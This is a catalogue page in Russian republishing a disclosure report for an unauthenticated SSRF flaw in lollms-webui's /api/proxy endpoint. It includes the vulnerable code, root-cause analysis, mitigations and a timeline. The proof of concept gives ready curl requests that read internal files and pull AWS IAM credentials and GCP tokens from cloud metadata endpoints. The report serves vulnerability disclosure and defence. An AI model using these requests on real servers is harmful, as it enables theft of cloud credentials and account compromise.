Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33340 — CVE-2026-33340: Критический SSRF в lollms-webui /api/proxy - Неаутентифицированная подделка произвольных запросов (CVSS 9.1) | Kitploit
Инструменты/GitHubGitHub/regaan/cve-2026-33340
РазведкаАнализ уязвимостейЭксплуатацияВеб-безопасностьБезопасность облачных средОбучение и Образование
GitHubregaan/cve-2026-33340

CVE-2026-33340

CVE-2026-33340: Критический SSRF в lollms-webui /api/proxy - Неаутентифицированная подделка произвольных запросов (CVSS 9.1)

Репозиторий
35 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33340: SSRF в lollms-webui

Обзор

ПолеПодробности
CVE IDCVE-2026-33340
УязвимостьПодделка запроса на стороне сервера (SSRF)
Затронутый продуктParisNeo/lollms-webui (LoLLMs WEBUI)
СерьёзностьКритическая — CVSS 9.1
Вектор CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-918: Server-Side Request Forgery (SSRF)
Затронутый компонентlollms_core/lollms/server/endpoints/lollms_apps.py
Уязвимая конечная точка/api/proxy
Консультация (Advisory)GHSA-mcwr-5469-pxj4
NVDЗапись NVD
SentinelOneАнализ SentinelOne
ОбнаруженоRegaan R — ROT Independent Security Research Lab

Краткое описание

Критическая уязвимость типа «Подделка запроса на стороне сервера» (SSRF) была обнаружена в lollms-webui, веб-интерфейсе для Lord of Large Language and Multi modal Systems. Конечная точка @router.post("/api/proxy") позволяет неаутентифицированным атакующим принудить сервер к выполнению произвольных GET-запросов. Это может быть использовано для доступа к внутренним службам, сканирования локальных сетей или хищения конфиденциальных облачных метаданных, таких как токены IAM AWS/GCP.


Затронутый продукт

  • Репозиторий: ParisNeo/lollms-webui / ParisNeo/lollms
  • Затронутый компонент: lollms_core/lollms/server/endpoints/lollms_apps.py (строки 443-450)
  • Уязвимая конечная точка: /api/proxy
  • Затронутые версии: Все известные существующие версии

Анализ первопричины

Уязвимость существует, потому что функция proxy в lollms_apps.py не реализует аутентификацию или какую-либо проверку URL/домена. Она принимает от пользователя необработанную URL-строку и передаёт её напрямую асинхронному HTTP-клиенту.

Уязвимый код

root@kitploit:~
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    try:
        async with httpx.AsyncClient() as client:
            # No check_access() call — unauthenticated
            # No URL validation — arbitrary destinations
            response = await client.get(request.url)
            return {"content": response.text}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

Что не так

  1. Отсутствие аутентификации: конечная точка не вызывает check_access(lollmsElfServer, request.client_id) или любое промежуточное ПО аутентификации, что позволяет любому неаутентифицированному пользователю вызывать её.
  2. Отсутствие проверки URL: предоставленный пользователем URL передаётся напрямую в httpx.AsyncClient().get() без проверки адреса по белому списку или блокировки частных/внутренних IP-диапазонов.
  3. Полная выдача ответа: всё тело HTTP-ответа возвращается вызывающему через {"content": response.text}, обеспечивая полное хищение данных.

Подтверждение концепции

Шаг 1 — Настройка имитируемой внутренней службы

root@kitploit:~
echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888

Шаг 2 — Эксплуатация SSRF

root@kitploit:~
curl -X POST http://localhost:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://localhost:8888/secret.txt"}'

Шаг 3 — Наблюдение ответа

root@kitploit:~
{"content": "INTERNAL_SECRET_DATA\n"}

Сервер получил файл из внутренней службы и вернул его содержимое атакующему.

Эксплуатация метаданных облака

root@kitploit:~
# AWS IMDSv1 — Получение учётных данных IAM
curl -X POST http://<цель>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP — Получение токена доступа
curl -X POST http://<цель>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

Влияние


Схема атаки

root@kitploit:~
Атакующий                         Сервер lollms-webui                    Внутренняя сеть
   |                                    |                                      |
   |  POST /api/proxy                   |                                      |
   |  {"url": "http://169.254..."}      |                                      |
   |----------------------------------->|                                      |
   |                                    |  GET http://169.254.169.254/...      |
   |                                    |------------------------------------->|
   |                                    |                                      |
   |                                    |  200 OK (учётные данные IAM)        |
   |                                    |<-------------------------------------|
   |                                    |                                      |
   |  {"content": "<credentials>"}      |                                      |
   |<-----------------------------------|                                      |

Предлагаемое исправление

1. Добавление аутентификации

root@kitploit:~
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    check_access(lollmsElfServer, request.client_id)  # Add this
    # ...

2. Реализация проверки URL

root@kitploit:~
from urllib.parse import urlparse
import ipaddress

BLOCKED_RANGES = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),  # Cloud metadata
]

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    hostname = parsed.hostname
    if hostname in ("localhost", ""):
        return False
    try:
        ip = ipaddress.ip_address(hostname)
        return not any(ip in network for network in BLOCKED_RANGES)
    except ValueError:
        # Hostname is a domain — resolve and check
        import socket
        resolved = socket.gethostbyname(hostname)
        ip = ipaddress.ip_address(resolved)
        return not any(ip in network for network in BLOCKED_RANGES)

3. Ограничение белым списком доменов

root@kitploit:~
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]

def is_whitelisted(url: str) -> bool:
    parsed = urlparse(url)
    return parsed.hostname in ALLOWED_DOMAINS

Статус исправления

На дату публикации исправленная версия lollms-webui уже была выпущена.


Хронология

ДатаСобытие
2026-03-07Уязвимость обнаружена и сообщена через GitHub Security Advisory
2026-03-24CVE-2026-33340 опубликовано в NVD
2026-03-25Запись в базе данных NVD обновлена
2026-03-27SentinelOne публикует анализ уязвимости

Ссылки

  • NVD — CVE-2026-33340
  • GitHub Security Advisory — GHSA-mcwr-5469-pxj4
  • SentinelOne Vulnerability Database — CVE-2026-33340
  • Уязвимый исходный код (строки 443-450)

Обнаружено

Regaan R (@regaan) Ведущий исследователь — ROT Independent Security Research Lab


Отказ от ответственности

Этот отчёт публикуется только в образовательных и защитных целях. Уязвимость была сообщена через ответственное раскрытие через GitHub Security Advisories. Всегда получайте соответствующее разрешение перед тестированием на уязвимости.


Лицензия

Этот отчёт выпущен под лицензией CC BY 4.0.

Скачать инструмент
СценарийОписание
Кража облачных учётных данныхАтакующие в облачных платформах (AWS/GCP/Azure) могут получить доступ к http://169.254.169.254/ для извлечения метаданных экземпляра, учётных данных IAM и токенов доступа — что приводит к полной компрометации облачной учётной записи.
Перемещение во внутренней сетиАтакующие могут зондировать внутренние базы данных, API, панели администрирования и интерфейсы управления, не доступные из публичного интернета.
Доступ к службам localhostАтакующие могут получить доступ к службам, привязанным к localhost (Redis, Elasticsearch, Docker API, консоли баз данных), которые неявно доверяют локальному трафику.
Сканирование внутренних портовSSRF может использоваться для перебора открытых портов и запущенных служб во внутренней сети путём наблюдения за временем ответа и сообщениями об ошибках.
Хищение данныхЛюбые данные, доступные по HTTP в пределах сети сервера, могут быть прочитаны и возвращены атакующему.